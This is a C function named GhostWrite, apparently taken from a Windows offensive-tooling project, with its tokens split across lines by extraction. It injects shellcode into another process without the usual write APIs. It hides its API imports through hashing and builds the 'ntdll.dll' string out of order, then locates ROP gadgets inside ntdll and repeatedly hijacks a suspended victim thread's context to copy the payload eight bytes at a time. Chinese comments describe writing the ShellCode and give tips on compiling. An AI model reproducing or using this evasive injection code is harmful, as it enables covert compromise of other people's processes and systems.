NTSTATUS GhostWrite(TARGET_PROCESS
*
Target, VOID
*
BaseAddress, DWORD64
*
Buffer
, SIZE_T Size)
{
if
(!Target || !BaseAddress || !
Buffer
|| !Size)
return
ERROR_INVALID_PARAMETER;
API Api;
VOID
*
GadgetMov
=
NULL;
VOID
*
GadgetRet
=
NULL;
VOID
*
GadgetLoop
=
NULL;
VOID
*
BufferHeap
=
NULL;
UCHAR
*
AddRspX
=
NULL;
DWORD AddRspV
=
0
;
DWORD PreSusCount
=
0
;
WCHAR StrNtdll[
0xA
]
=
{
0
};
SIZE_T AlignSize
=
0
;
HANDLE VictimThreadHandle
=
NULL;
HMODULE Ntdll
=
NULL;
ULONG_PTR LoopRsp
=
0
;
CONTEXT PreContext;
CONTEXT NewContext;
CLIENT_ID CliD;
MODULEINFO MoInfo;
OBJECT_ATTRIBUTES ObjA;
SecureZeroMemory(&Api, sizeof(Api));
SecureZeroMemory(&ObjA, sizeof(ObjA));
SecureZeroMemory(&CliD, sizeof(CliD));
SecureZeroMemory(&MoInfo, sizeof(MoInfo));
SecureZeroMemory(&PreContext, sizeof(PreContext));
SecureZeroMemory(&NewContext, sizeof(NewContext));
ObjA.Length
=
sizeof(ObjA);
CliD.UniqueProcess
=
UlongToHandle(Target
-
>Pid);
CliD.UniqueThread
=
UlongToHandle(Target
-
>Tid);
/
/
ntdll.dll
StrNtdll[
0
]
=
L
'n'
;
StrNtdll[
2
]
=
L
'd'
;
StrNtdll[
4
]
=
L
'l'
;
StrNtdll[
5
]
=
L
'.'
;
StrNtdll[
6
]
=
L
'd'
;
StrNtdll[
3
]
=
L
'l'
;
StrNtdll[
8
]
=
L
'l'
;
StrNtdll[
1
]
=
L
't'
;
StrNtdll[
7
]
=
L
'l'
;
Api.NtAllocateVirtualMemory
=
C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), NTALLOCATEVIRTUALMEMORY));
Api.RtlGetNonVolatileToken
=
C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), RTLGETNONVOLATILETOKEN));
Api.GetModuleHandleW
=
C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), GETMODULEHANDLEW));
Api.GetThreadContext
=
C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), GETTHREADCONTEXT));
Api.SetThreadContext
=
C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), SETTHREADCONTEXT));
Api.NtSuspendThread
=
C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), NTSUSPENDTHREAD));
Api.RtlAllocateHeap
=
C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), RTLALLOCATEHEAP));
Api.NtResumeThread
=
C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), NTRESUMETHREAD));
Api.GetLastError
=
C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), GETLASTERROR));
Api.NtOpenThread
=
C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), NTOPENTHREAD));
Api.RtlFreeHeap
=
C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), RTLFREEHEAP));
Api.Sleep
=
C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), SLEEP));
/
/
将
Buffer
拷贝到新的内存中并按照
8
字节对齐
/
/
-
O2编译优化导致AlignSize
=
0
,建议使用
-
Os编译
AlignSize
=
(Size
+
7
) & (~
7
);
BufferHeap
=
Api.RtlAllocateHeap(NtCurrentPeb()
-
>ProcessHeap, HEAP_ZERO_MEMORY, AlignSize);
if
(!BufferHeap)
return
Api.GetLastError();
MemCopy(BufferHeap,
Buffer
, AlignSize);
Ntdll
=
Api.GetModuleHandleW(StrNtdll);
if
(!Ntdll)
return
Api.GetLastError();
GetModuleInformation(NtCurrentProcess(), Ntdll, &MoInfo, sizeof(MoInfo));
GadgetLoop
=
MemMem(C_PTR(Ntdll), MoInfo.SizeOfImage,
"\xEB\xFE"
,
2
);
GadgetRet
=
MemMem(C_PTR(Api.RtlGetNonVolatileToken), MoInfo.SizeOfImage,
"\xC3\xCC"
,
2
);
GadgetMov
=
MemMem(C_PTR(Api.RtlGetNonVolatileToken), MoInfo.SizeOfImage,
"\x48\x89\x1F"
,
3
);
AddRspX
=
MemMem(C_PTR(Api.RtlGetNonVolatileToken), MoInfo.SizeOfImage,
"\x48\x83\xC4"
,
3
);
if
(!GadgetLoop || !GadgetMov || !GadgetRet || !AddRspX)
return
ERROR_NOT_FOUND;
/
/
为确保找到的所有位置都是在RtlGetNonVolatileToken函数内部
if
((U_PTR(GadgetMov) > U_PTR(GadgetRet)) || (U_PTR(AddRspX) > U_PTR(GadgetRet)))
return
ERROR_NOT_FOUND;
/
/
构造Gadget
Api.NtOpenThread(&VictimThreadHandle, THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, &ObjA, &CliD);
Api.NtSuspendThread(VictimThreadHandle, &PreSusCount);
PreContext.ContextFlags
=
CONTEXT_FULL;
NewContext.ContextFlags
=
CONTEXT_FULL;
Api.GetThreadContext(VictimThreadHandle, &PreContext);
Api.GetThreadContext(VictimThreadHandle, &NewContext);
AddRspV
=
*
(AddRspX
+
0x3
);
NewContext.Rsp
-
=
(AddRspV
+
0x10
);
NewContext.Rip
=
GadgetMov;
NewContext.Rdi
=
NewContext.Rsp
+
(AddRspV
+
0x8
);
NewContext.Rbx
=
GadgetLoop;
LoopRsp
=
NewContext.Rsp;
Api.SetThreadContext(VictimThreadHandle, &NewContext);
Api.NtResumeThread(VictimThreadHandle, &PreSusCount);
WaitForSelfLock(&Api, VictimThreadHandle, U_PTR(GadgetLoop));
/
/
利用构造的Gadget写入ShellCode
for
(
INT
i
=
0
; i < (AlignSize
/
8
); i
+
+
) {
Api.NtSuspendThread(VictimThreadHandle, &PreSusCount);
NewContext.Rsp
=
LoopRsp;
NewContext.Rip
=
GadgetMov;
NewContext.Rbx
=
Buffer
[i];
NewContext.Rdi
=
U_PTR(BaseAddress);
Api.SetThreadContext(VictimThreadHandle, &NewContext);
Api.NtResumeThread(VictimThreadHandle, &PreSusCount);
WaitForSelfLock(&Api, VictimThreadHandle, U_PTR(GadgetLoop));
BaseAddress
+
=
sizeof(ULONG_PTR);
}
/
/
恢复原来的上下文
Api.SetThreadContext(VictimThreadHandle, &PreContext);
Api.NtResumeThread(VictimThreadHandle, &PreSusCount);
if
(BufferHeap) Api.RtlFreeHeap(NtCurrentPeb()
-
>ProcessHeap, HEAP_ZERO_MEMORY, BufferHeap);
return
STATUS_SUCCESS;
}